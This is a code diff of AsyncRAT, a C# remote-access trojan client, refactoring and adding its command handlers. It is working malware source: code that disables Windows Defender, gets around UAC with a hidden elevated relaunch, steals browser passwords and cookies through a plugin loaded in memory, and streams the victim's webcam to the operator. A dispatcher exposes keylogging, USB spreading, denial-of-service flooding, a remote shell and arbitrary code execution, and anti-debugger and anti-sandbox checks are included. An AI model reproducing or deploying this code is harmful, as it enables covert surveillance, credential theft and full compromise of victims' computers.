@ -50,7 +50,7 @@ namespace Miscellaneous.Handler
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Error";
|
||||
msgpack.ForcePathObject("Error").AsString = "couldn't find a torrent client";
|
||||
Connection.Send(msgpack.Encode2Bytes());
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
return;
|
||||
}
|
||||
else
|
||||
@ -87,7 +87,7 @@ namespace Miscellaneous.Handler
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Logs";
|
||||
msgpack.ForcePathObject("Message").AsString = $"seeding using {Path.GetFileName(IsInstalled())}";
|
||||
Connection.Send(msgpack.Encode2Bytes());
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
@ -124,5 +124,4 @@ namespace Miscellaneous.Handler
|
||||
static extern bool IsWindowVisible(IntPtr hWnd);
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -1,17 +1,22 @@
|
||||
using System;
|
||||
using Client.Helper;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Plugin.Handler
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandleUAC
|
||||
{
|
||||
public HandleUAC()
|
||||
{
|
||||
if (Methods.IsAdmin()) return;
|
||||
|
||||
try
|
||||
{
|
||||
Process proc = new Process
|
||||
@ -19,7 +24,7 @@ namespace Plugin.Handler
|
||||
StartInfo = new ProcessStartInfo
|
||||
{
|
||||
FileName = "cmd",
|
||||
Arguments = "/k START \"\" \"" + Application.ExecutablePath + "\" & EXIT",
|
||||
Arguments = "/k START \"\" \"" + Process.GetCurrentProcess().MainModule.FileName + "\" & EXIT",
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
Verb = "runas",
|
||||
UseShellExecute = true
|
||||
@ -29,8 +34,7 @@ namespace Plugin.Handler
|
||||
Methods.ClientExit();
|
||||
Environment.Exit(0);
|
||||
}
|
||||
catch { new HandleUAC(); }
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
}
|
59
AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs
Normal file
59
AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs
Normal file
@ -0,0 +1,59 @@
|
||||
using Client.Helper;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandleUninstall
|
||||
{
|
||||
public HandleUninstall()
|
||||
{
|
||||
if (Convert.ToBoolean(Settings.Install))
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!Methods.IsAdmin())
|
||||
Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",RegistryKeyPermissionCheck.ReadWriteSubTree).DeleteValue(Settings.InstallFile);
|
||||
else
|
||||
{
|
||||
Process.Start(new ProcessStartInfo()
|
||||
{
|
||||
FileName = "schtasks",
|
||||
Arguments = $"/delete /f /tn \"" + Settings.InstallFile + "\"",
|
||||
CreateNoWindow = true,
|
||||
ErrorDialog = false,
|
||||
UseShellExecute = false,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
});
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
ProcessStartInfo Del = null;
|
||||
try
|
||||
{
|
||||
Del = new ProcessStartInfo()
|
||||
{
|
||||
FileName = "cmd.exe",
|
||||
Arguments = "choice /C Y /N /D Y /T 2 & Del \"" + Application.ExecutablePath + "\"",
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = true,
|
||||
};
|
||||
}
|
||||
catch { }
|
||||
finally
|
||||
{
|
||||
Process.Start(Del);
|
||||
Methods.ClientExit();
|
||||
Environment.Exit(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,29 +1,33 @@
|
||||
using AForge.Video;
|
||||
using AForge.Video.DirectShow;
|
||||
using MessagePackLib.MessagePack;
|
||||
using Client.Connection;
|
||||
using Client.Helper;
|
||||
using Client.MessagePack;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace Plugin
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public static class Packet
|
||||
public static class HandleWebcam
|
||||
{
|
||||
public static bool IsOk = false;
|
||||
public static bool IsOn = false;
|
||||
public static VideoCaptureDevice FinalVideo;
|
||||
public static string HWID = Methods.HWID();
|
||||
private static MemoryStream Camstream = new MemoryStream();
|
||||
private static TempSocket TempSocket = null;
|
||||
private static int Quality = 50;
|
||||
|
||||
public static void Read(object data)
|
||||
public static void Run(MsgPack unpack_msgpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack unpack_msgpack = new MsgPack();
|
||||
unpack_msgpack.DecodeFromBytes((byte[])data);
|
||||
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
||||
{
|
||||
case "webcam":
|
||||
@ -32,20 +36,52 @@ namespace Plugin
|
||||
{
|
||||
case "getWebcams":
|
||||
{
|
||||
GetWebcams();
|
||||
TempSocket?.Dispose();
|
||||
TempSocket = new TempSocket();
|
||||
if (TempSocket.IsConnected)
|
||||
{
|
||||
GetWebcams();
|
||||
}
|
||||
else
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
TempSocket.Dispose();
|
||||
CaptureDispose();
|
||||
}
|
||||
catch { }
|
||||
}).Start();
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "capture":
|
||||
{
|
||||
if (IsOk == true) return;
|
||||
IsOk = true;
|
||||
if (IsOn == true) return;
|
||||
if (TempSocket.IsConnected)
|
||||
{
|
||||
IsOn = true;
|
||||
FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
|
||||
FinalVideo = new VideoCaptureDevice(videoCaptureDevices[0].MonikerString);
|
||||
Quality = (int)unpack_msgpack.ForcePathObject("Quality").AsInteger;
|
||||
FinalVideo.NewFrame += CaptureRun;
|
||||
FinalVideo.VideoResolution = FinalVideo.VideoCapabilities[unpack_msgpack.ForcePathObject("List").AsInteger];
|
||||
FinalVideo.Start();
|
||||
}
|
||||
else
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
CaptureDispose();
|
||||
TempSocket.Dispose();
|
||||
}
|
||||
catch { }
|
||||
}).Start();
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
@ -76,9 +112,9 @@ namespace Plugin
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Connection.IsConnected)
|
||||
if (TempSocket.IsConnected)
|
||||
{
|
||||
if (IsOk == true)
|
||||
if (IsOn == true)
|
||||
{
|
||||
Bitmap image = (Bitmap)e.Frame.Clone();
|
||||
using (Camstream = new MemoryStream())
|
||||
@ -87,7 +123,7 @@ namespace Plugin
|
||||
EncoderParameters myEncoderParameters = new EncoderParameters(1);
|
||||
EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, Quality);
|
||||
myEncoderParameters.Param[0] = myEncoderParameter;
|
||||
ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg);
|
||||
ImageCodecInfo jpgEncoder = Methods.GetEncoder(ImageFormat.Jpeg);
|
||||
image.Save(Camstream, jpgEncoder, myEncoderParameters);
|
||||
myEncoderParameters?.Dispose();
|
||||
myEncoderParameter?.Dispose();
|
||||
@ -95,10 +131,10 @@ namespace Plugin
|
||||
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "webcam";
|
||||
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
|
||||
msgpack.ForcePathObject("ID").AsString = HWID;
|
||||
msgpack.ForcePathObject("Command").AsString = "capture";
|
||||
msgpack.ForcePathObject("Image").SetAsBytes(Camstream.ToArray());
|
||||
Connection.Send(msgpack.Encode2Bytes());
|
||||
TempSocket.Send(msgpack.Encode2Bytes());
|
||||
Thread.Sleep(1);
|
||||
}
|
||||
}
|
||||
@ -110,7 +146,7 @@ namespace Plugin
|
||||
try
|
||||
{
|
||||
CaptureDispose();
|
||||
Connection.Disconnected();
|
||||
TempSocket.Dispose();
|
||||
}
|
||||
catch { }
|
||||
}).Start();
|
||||
@ -123,7 +159,7 @@ namespace Plugin
|
||||
try
|
||||
{
|
||||
CaptureDispose();
|
||||
Connection.Disconnected();
|
||||
TempSocket.Dispose();
|
||||
}
|
||||
catch { }
|
||||
}).Start();
|
||||
@ -131,20 +167,7 @@ namespace Plugin
|
||||
}
|
||||
}
|
||||
|
||||
private static ImageCodecInfo GetEncoder(ImageFormat format)
|
||||
{
|
||||
ImageCodecInfo[] codecs = ImageCodecInfo.GetImageDecoders();
|
||||
foreach (ImageCodecInfo codec in codecs)
|
||||
{
|
||||
if (codec.FormatID == format.Guid)
|
||||
{
|
||||
return codec;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public static void GetWebcams()
|
||||
private static void GetWebcams()
|
||||
{
|
||||
try
|
||||
{
|
||||
@ -161,17 +184,17 @@ namespace Plugin
|
||||
{
|
||||
msgpack.ForcePathObject("Packet").AsString = "webcam";
|
||||
msgpack.ForcePathObject("Command").AsString = "getWebcams";
|
||||
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
|
||||
msgpack.ForcePathObject("ID").AsString = HWID;
|
||||
msgpack.ForcePathObject("List").AsString = deviceInfo.ToString();
|
||||
}
|
||||
else
|
||||
{
|
||||
msgpack.ForcePathObject("Packet").AsString = "webcam";
|
||||
msgpack.ForcePathObject("Command").AsString = "getWebcams";
|
||||
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
|
||||
msgpack.ForcePathObject("List").AsString = "None-=>";
|
||||
msgpack.ForcePathObject("ID").AsString = HWID;
|
||||
msgpack.ForcePathObject("List").AsString = "None";
|
||||
}
|
||||
Connection.Send(msgpack.Encode2Bytes());
|
||||
TempSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
@ -180,7 +203,7 @@ namespace Plugin
|
||||
{
|
||||
try
|
||||
{
|
||||
IsOk = false;
|
||||
IsOn = false;
|
||||
FinalVideo.Stop();
|
||||
FinalVideo.NewFrame -= CaptureRun;
|
||||
Camstream?.Dispose();
|
@ -1,20 +1,23 @@
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System;
|
||||
using Microsoft.Win32;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using Client.Helper;
|
||||
|
||||
namespace Plugin.Handler
|
||||
// │ Author : NYAN CAT
|
||||
// │ Name : Disable Windows Defender v1.0
|
||||
// │ Contact : https://github.com/NYAN-x-CAT
|
||||
|
||||
// This program is distributed for educational purposes only.
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
class HandleDisableDefender
|
||||
public class HandleWindowsDefender
|
||||
{
|
||||
public void Run()
|
||||
public HandleWindowsDefender()
|
||||
{
|
||||
Debug.WriteLine("Plugin Invoked");
|
||||
if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator)) return;
|
||||
|
||||
if (!Methods.IsAdmin()) return;
|
||||
|
||||
RegistryEdit(@"SOFTWARE\Microsoft\Windows Defender\Features", "TamperProtection", "0"); //Windows 10 1903 Redstone 6
|
||||
RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", "1");
|
||||
RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableBehaviorMonitoring", "1");
|
||||
@ -24,7 +27,7 @@ namespace Plugin.Handler
|
||||
CheckDefender();
|
||||
}
|
||||
|
||||
private void RegistryEdit(string regPath, string name, string value)
|
||||
private static void RegistryEdit(string regPath, string name, string value)
|
||||
{
|
||||
try
|
||||
{
|
||||
@ -42,7 +45,7 @@ namespace Plugin.Handler
|
||||
catch { }
|
||||
}
|
||||
|
||||
private void CheckDefender()
|
||||
private static void CheckDefender()
|
||||
{
|
||||
Process proc = new Process
|
||||
{
|
||||
@ -108,7 +111,7 @@ namespace Plugin.Handler
|
||||
}
|
||||
}
|
||||
|
||||
private void RunPS(string args)
|
||||
private static void RunPS(string args)
|
||||
{
|
||||
Process proc = new Process
|
||||
{
|
47
AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs
Normal file
47
AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs
Normal file
@ -0,0 +1,47 @@
|
||||
using Client.Helper;
|
||||
using Client.MessagePack;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandlerChat
|
||||
{
|
||||
|
||||
public void CreateChat()
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
Packet.GetFormChat = new FormChat();
|
||||
Packet.GetFormChat.ShowDialog();
|
||||
}).Start();
|
||||
}
|
||||
public void WriteInput(MsgPack unpack_msgpack)
|
||||
{
|
||||
if (Packet.GetFormChat.InvokeRequired)
|
||||
{
|
||||
Packet.GetFormChat.Invoke((MethodInvoker)(() =>
|
||||
{
|
||||
Console.Beep();
|
||||
Packet.GetFormChat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Input").AsString + Environment.NewLine);
|
||||
}));
|
||||
}
|
||||
}
|
||||
|
||||
public void ExitChat()
|
||||
{
|
||||
if (Packet.GetFormChat.InvokeRequired)
|
||||
{
|
||||
Packet.GetFormChat.Invoke((MethodInvoker)(() =>
|
||||
{
|
||||
Packet.GetFormChat.Close();
|
||||
Packet.GetFormChat.Dispose();
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,7 +1,6 @@
|
||||
using Microsoft.CSharp;
|
||||
using Client.MessagePack;
|
||||
using Microsoft.CSharp;
|
||||
using Microsoft.VisualBasic;
|
||||
using Plugin;
|
||||
using MessagePackLib.MessagePack;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections.Generic;
|
||||
@ -10,7 +9,7 @@ using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Text;
|
||||
|
||||
namespace Miscellaneous.Handler
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandlerExecuteDotNetCode
|
||||
{
|
||||
@ -86,5 +85,4 @@ namespace Miscellaneous.Handler
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
36
AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs
Normal file
36
AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs
Normal file
@ -0,0 +1,36 @@
|
||||
using Client.MessagePack;
|
||||
using Client.Connection;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Text;
|
||||
using System.Diagnostics;
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandlerRecovery
|
||||
{
|
||||
public HandlerRecovery(MsgPack unpack_msgpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
// DLL StealerLib => gitlab.com/thoxy/stealerlib
|
||||
Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes());
|
||||
MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("RecoverCredential");
|
||||
MethodInfo meth2 = loader.GetType("Plugin.Plugin").GetMethod("RecoverCookies");
|
||||
object injObj = loader.CreateInstance(meth.Name);
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "recoveryPassword";
|
||||
msgpack.ForcePathObject("Password").AsString = (string)meth.Invoke(injObj, null);
|
||||
msgpack.ForcePathObject("Cookies").AsString = (string)meth2.Invoke(injObj, null);
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,19 +1,25 @@
|
||||
using Client.Algorithm;
|
||||
using Client.Helper;
|
||||
using Client.MessagePack;
|
||||
using Client.Connection;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Net.Sockets;
|
||||
using System.Reflection;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using MessagePackLib.MessagePack;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public static class Packet
|
||||
{
|
||||
public static List<MsgPack> Packs = new List<MsgPack>();
|
||||
public static CancellationTokenSource ctsDos;
|
||||
public static CancellationTokenSource ctsReportWindow;
|
||||
public static FormChat GetFormChat;
|
||||
public static string FileCopy = null;
|
||||
|
||||
public static void Read(object data)
|
||||
{
|
||||
try
|
||||
@ -22,53 +28,230 @@ namespace Client.Handle_Packet
|
||||
unpack_msgpack.DecodeFromBytes((byte[])data);
|
||||
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
||||
{
|
||||
case "pong": //send interval value to server
|
||||
case "sendMessage":
|
||||
{
|
||||
ClientSocket.ActivatePong = false;
|
||||
MsgPack msgPack = new MsgPack();
|
||||
msgPack.ForcePathObject("Packet").SetAsString("pong");
|
||||
msgPack.ForcePathObject("Message").SetAsInteger(ClientSocket.Interval);
|
||||
ClientSocket.Send(msgPack.Encode2Bytes());
|
||||
ClientSocket.Interval = 0;
|
||||
MessageBox.Show(unpack_msgpack.ForcePathObject("Message").AsString);
|
||||
break;
|
||||
}
|
||||
|
||||
case "plugin": // run plugin in memory
|
||||
case "Ping":
|
||||
{
|
||||
try
|
||||
Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString);
|
||||
break;
|
||||
}
|
||||
|
||||
case "thumbnails":
|
||||
{
|
||||
new HandleThumbnails();
|
||||
break;
|
||||
}
|
||||
|
||||
case "sendFile":
|
||||
{
|
||||
Received();
|
||||
new HandleSendTo().SendToDisk(unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
case "sendMemory":
|
||||
{
|
||||
Received();
|
||||
new HandleSendTo().SendToMemory(unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
case "recoveryPassword":
|
||||
{
|
||||
Received();
|
||||
new HandlerRecovery(unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
case "defender":
|
||||
{
|
||||
new HandleWindowsDefender();
|
||||
break;
|
||||
}
|
||||
|
||||
case "uac":
|
||||
{
|
||||
new HandleUAC();
|
||||
break;
|
||||
}
|
||||
|
||||
case "close":
|
||||
{
|
||||
Methods.ClientExit();
|
||||
Environment.Exit(0);
|
||||
break;
|
||||
}
|
||||
|
||||
case "restart":
|
||||
{
|
||||
Process.Start(Application.ExecutablePath);
|
||||
Methods.ClientExit();
|
||||
Environment.Exit(0);
|
||||
break;
|
||||
}
|
||||
|
||||
case "uninstall":
|
||||
{
|
||||
new HandleUninstall();
|
||||
break;
|
||||
}
|
||||
|
||||
case "usbSpread":
|
||||
{
|
||||
new HandleLimeUSB(unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
case "remoteDesktop":
|
||||
{
|
||||
new HandleRemoteDesktop(unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
case "processManager":
|
||||
{
|
||||
new HandleProcessManager(unpack_msgpack);
|
||||
}
|
||||
break;
|
||||
|
||||
case "fileManager":
|
||||
{
|
||||
new FileManager(unpack_msgpack);
|
||||
}
|
||||
break;
|
||||
|
||||
case "botKiller":
|
||||
{
|
||||
new HandleBotKiller().RunBotKiller();
|
||||
break;
|
||||
}
|
||||
|
||||
case "keyLogger":
|
||||
{
|
||||
string isON = unpack_msgpack.ForcePathObject("isON").AsString;
|
||||
if (isON == "true")
|
||||
{
|
||||
if (SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString) == null) // check if plugin is installed
|
||||
new Thread(() =>
|
||||
{
|
||||
Packs.Add(unpack_msgpack); //save it for later
|
||||
MsgPack msgPack = new MsgPack();
|
||||
msgPack.ForcePathObject("Packet").SetAsString("sendPlugin");
|
||||
msgPack.ForcePathObject("Hashes").SetAsString(unpack_msgpack.ForcePathObject("Dll").AsString);
|
||||
ClientSocket.Send(msgPack.Encode2Bytes());
|
||||
}
|
||||
else
|
||||
Invoke(unpack_msgpack);
|
||||
HandleLimeLogger.isON = true;
|
||||
HandleLimeLogger.Run();
|
||||
}).Start();
|
||||
}
|
||||
catch (Exception ex)
|
||||
else
|
||||
{
|
||||
Error(ex.Message);
|
||||
HandleLimeLogger.isON = false;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "savePlugin": // save plugin
|
||||
case "visitURL":
|
||||
{
|
||||
SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").GetAsBytes());
|
||||
Debug.WriteLine("plugin saved");
|
||||
foreach (MsgPack msgPack in Packs.ToList())
|
||||
string url = unpack_msgpack.ForcePathObject("URL").AsString;
|
||||
if (url.StartsWith("http"))
|
||||
{
|
||||
if (msgPack.ForcePathObject("Dll").AsString == unpack_msgpack.ForcePathObject("Hash").AsString)
|
||||
{
|
||||
Invoke(msgPack);
|
||||
Packs.Remove(msgPack);
|
||||
}
|
||||
Process.Start(url);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "dos":
|
||||
{
|
||||
switch (unpack_msgpack.ForcePathObject("Option").AsString)
|
||||
{
|
||||
case "postStart":
|
||||
{
|
||||
ctsDos = new CancellationTokenSource();
|
||||
new HandleDos().DosPost(unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
case "postStop":
|
||||
{
|
||||
ctsDos.Cancel();
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "shell":
|
||||
{
|
||||
HandleShell.StarShell();
|
||||
break;
|
||||
}
|
||||
|
||||
case "shellWriteInput":
|
||||
{
|
||||
if (HandleShell.ProcessShell != null)
|
||||
HandleShell.ShellWriteLine(unpack_msgpack.ForcePathObject("WriteInput").AsString);
|
||||
break;
|
||||
}
|
||||
|
||||
case "chat":
|
||||
{
|
||||
new HandlerChat().CreateChat();
|
||||
break;
|
||||
}
|
||||
|
||||
case "chatWriteInput":
|
||||
{
|
||||
new HandlerChat().WriteInput(unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
case "chatExit":
|
||||
{
|
||||
new HandlerChat().ExitChat();
|
||||
break;
|
||||
}
|
||||
|
||||
case "pcOptions":
|
||||
{
|
||||
new HandlePcOptions(unpack_msgpack.ForcePathObject("Option").AsString);
|
||||
break;
|
||||
}
|
||||
|
||||
case "reportWindow":
|
||||
{
|
||||
new HandleReportWindow(unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
case "torrent":
|
||||
{
|
||||
new HandleTorrent(unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
case "executeDotNetCode":
|
||||
{
|
||||
new HandlerExecuteDotNetCode(unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
case "blankscreen":
|
||||
{
|
||||
HandleBlankScreen.RunBlankScreen();
|
||||
break;
|
||||
}
|
||||
|
||||
case "webcam":
|
||||
{
|
||||
HandleWebcam.Run(unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
//case "netStat":
|
||||
// {
|
||||
// HandleNetStat.RunNetStat();
|
||||
// break;
|
||||
// }
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
@ -77,29 +260,20 @@ namespace Client.Handle_Packet
|
||||
}
|
||||
}
|
||||
|
||||
private static void Invoke(MsgPack unpack_msgpack)
|
||||
{
|
||||
Assembly assembly = AppDomain.CurrentDomain.Load(Zip.Decompress(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString)));
|
||||
Type type = assembly.GetType("Plugin.Plugin");
|
||||
dynamic instance = Activator.CreateInstance(type);
|
||||
instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), MutexControl.currentApp, Settings.MTX, Settings.BDOS, Settings.Install);
|
||||
Received();
|
||||
}
|
||||
|
||||
private static void Received() //reset client forecolor
|
||||
private static void Received()
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Received";
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
Thread.Sleep(1000);
|
||||
}
|
||||
|
||||
public static void Error(string ex) //send to logs
|
||||
public static void Error(string ex)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Error";
|
||||
msgpack.ForcePathObject("Error").AsString = ex;
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
@ -14,6 +14,8 @@ using System.Runtime.InteropServices;
|
||||
// This program is distributed for educational purposes only.
|
||||
|
||||
|
||||
|
||||
|
||||
namespace Client.Helper
|
||||
{
|
||||
|
||||
@ -22,7 +24,8 @@ namespace Client.Helper
|
||||
public static void RunAntiAnalysis()
|
||||
{
|
||||
if (DetectManufacturer() || DetectDebugger() || DetectSandboxie() || IsSmallDisk() || IsXP())
|
||||
Environment.FailFast(null);
|
||||
//Environment.FailFast(null);
|
||||
new HandleUninstall();
|
||||
}
|
||||
|
||||
private static bool IsSmallDisk()
|
||||
@ -39,14 +42,10 @@ namespace Client.Helper
|
||||
|
||||
private static bool IsXP()
|
||||
{
|
||||
try
|
||||
if (new Microsoft.VisualBasic.Devices.ComputerInfo().OSFullName.ToLower().Contains("xp"))
|
||||
{
|
||||
if (new Microsoft.VisualBasic.Devices.ComputerInfo().OSFullName.ToLower().Contains("xp"))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
catch { }
|
||||
return false;
|
||||
}
|
||||
|
||||
@ -78,32 +77,23 @@ namespace Client.Helper
|
||||
private static bool DetectDebugger()
|
||||
{
|
||||
bool isDebuggerPresent = false;
|
||||
try
|
||||
{
|
||||
NativeMethods.CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
|
||||
return isDebuggerPresent;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return isDebuggerPresent;
|
||||
}
|
||||
CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
|
||||
return isDebuggerPresent;
|
||||
}
|
||||
|
||||
private static bool DetectSandboxie()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (NativeMethods.GetModuleHandle("SbieDll.dll").ToInt32() != 0)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
catch
|
||||
{
|
||||
if (GetModuleHandle("SbieDll.dll").ToInt32() != 0)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr GetModuleHandle(string lpModuleName);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
|
||||
static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);
|
||||
}
|
||||
}
|
||||
|
@ -1,41 +0,0 @@
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Management;
|
||||
|
||||
namespace Client.Helper
|
||||
{
|
||||
class CheckMiner
|
||||
{
|
||||
public string GetProcess()
|
||||
{
|
||||
foreach (var process in Process.GetProcesses())
|
||||
{
|
||||
try
|
||||
{
|
||||
if (GetCommandLine(process).ToLower().Contains("--donate-level="))
|
||||
{
|
||||
SetRegistry.SetValue(Settings.Hwid, "1");
|
||||
return "1";
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
SetRegistry.SetValue(Settings.Hwid, "0");
|
||||
return "0";
|
||||
}
|
||||
|
||||
public string GetCommandLine(Process process)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT CommandLine FROM Win32_Process WHERE ProcessId = " + process.Id))
|
||||
using (ManagementObjectCollection objects = searcher.Get())
|
||||
{
|
||||
return objects.Cast<ManagementBaseObject>().SingleOrDefault()?["CommandLine"]?.ToString();
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
return "";
|
||||
}
|
||||
}
|
||||
}
|
@ -1,4 +1,4 @@
|
||||
namespace Plugin
|
||||
namespace Client.Helper
|
||||
{
|
||||
partial class FormChat
|
||||
{
|
@ -1,13 +1,16 @@
|
||||
using MessagePackLib.MessagePack;
|
||||
using Client.Handle_Packet;
|
||||
using Client.MessagePack;
|
||||
